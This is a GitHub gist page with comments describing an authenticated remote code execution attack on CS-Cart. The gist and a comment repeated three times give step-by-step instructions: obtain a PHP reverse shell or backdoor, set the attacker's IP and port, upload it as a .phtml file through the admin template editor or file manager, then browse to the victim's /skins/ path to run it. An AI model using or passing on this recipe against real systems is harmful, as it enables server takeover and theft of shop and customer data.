Created
September 23, 2020 15:48
-
-
Save momenbasel/ccb91523f86714edb96c871d4cf1d05c to your computer and use it in GitHub Desktop.
cs cart authenticated RCE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
get PHP shells from http://pentestmonkey.net/tools/web-shells/php-reverse-shell | |
edit IP && PORT | |
Upload to file manager | |
change the extension from .php to .phtml | |
visit http://[victim]/skins/shell.phtml --> Profit. ...! |
The above explanation is lacking some information, so here is a better explanation:
- Visit "cs-cart" /admin.php and login (Remember: You need to login on ADMIN section not on the regular USER section).
- Under Look and Feel section click on "template editor".
- And under that section, upload your malicious .php file, make sure you rename it to .phtml before you upload.
- If successful, you should be able to get a RCE.
- For example, grab this file -> https://raw.githubusercontent.com/F-Masood/php-backdoors/main/whoami.php and rename it to whoami.phtml
- Now, visit http://[victim]/skins/whoami.phtml
- And you should see 'www-data' or 'apache' etc as the output.
You sir, are a legend. Thanks
The above explanation is lacking some information, so here is a better explanation:
- Visit "cs-cart" /admin.php and login (Remember: You need to login on ADMIN section not on the regular USER section).
- Under Look and Feel section click on "template editor".
- And under that section, upload your malicious .php file, make sure you rename it to .phtml before you upload.
- If successful, you should be able to get a RCE.
- For example, grab this file -> https://raw.githubusercontent.com/F-Masood/php-backdoors/main/whoami.php and rename it to whoami.phtml
- Now, visit http://[victim]/skins/whoami.phtml
- And you should see 'www-data' or 'apache' etc as the output.
You sir, are a legend. Thanks
̿̿ ̿̿ ̿̿ ̿'̿'\̵͇̿̿\з= ( ▀ ͜͞ʖ▀) =ε/̵͇̿̿/’̿’̿ ̿ ̿̿ ̿̿ ̿̿
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The above explanation is lacking some information, so here is a better explanation: